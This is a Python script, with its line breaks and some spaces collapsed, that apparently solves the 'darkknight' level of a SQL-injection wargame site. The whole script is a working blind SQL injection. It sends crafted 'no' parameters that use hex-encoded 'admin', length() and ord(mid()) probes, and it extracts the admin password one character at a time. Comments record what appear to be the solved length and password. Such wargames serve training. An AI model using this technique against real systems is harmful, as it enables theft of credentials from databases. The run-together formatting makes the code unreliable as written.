import requestsURL ='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'PHPSESSID ='MY_PHPSESSID'TRUE_PHRASE ='Hello admin'defquery(payload): params ={'no': payload} cookies ={'PHPSESSID': PHPSESSID} r = requests.get(URL, params=params, cookies=cookies) content = r.textreturn TRUE_PHRASE in content# 8deffind_pw_length(): pw_len =1whilequery("0 or id like 0x61646d696e and length(pw) like {}".format(pw_len))isFalse: pw_len +=1print('pw_len: {}'.format(pw_len))return pw_len# 0b70ea1fdeffind_pw(): pw_len =find_pw_length() pw =''for pos inrange(1, pw_len +1):for character inrange(0, 128):ifquery("0 or id like 0x61646d696e and ord(mid(pw,{},1)) like {}".format(pos, character))isTrue: pw +=chr(character)breakprint('pw: {}'.format(pw))find_pw()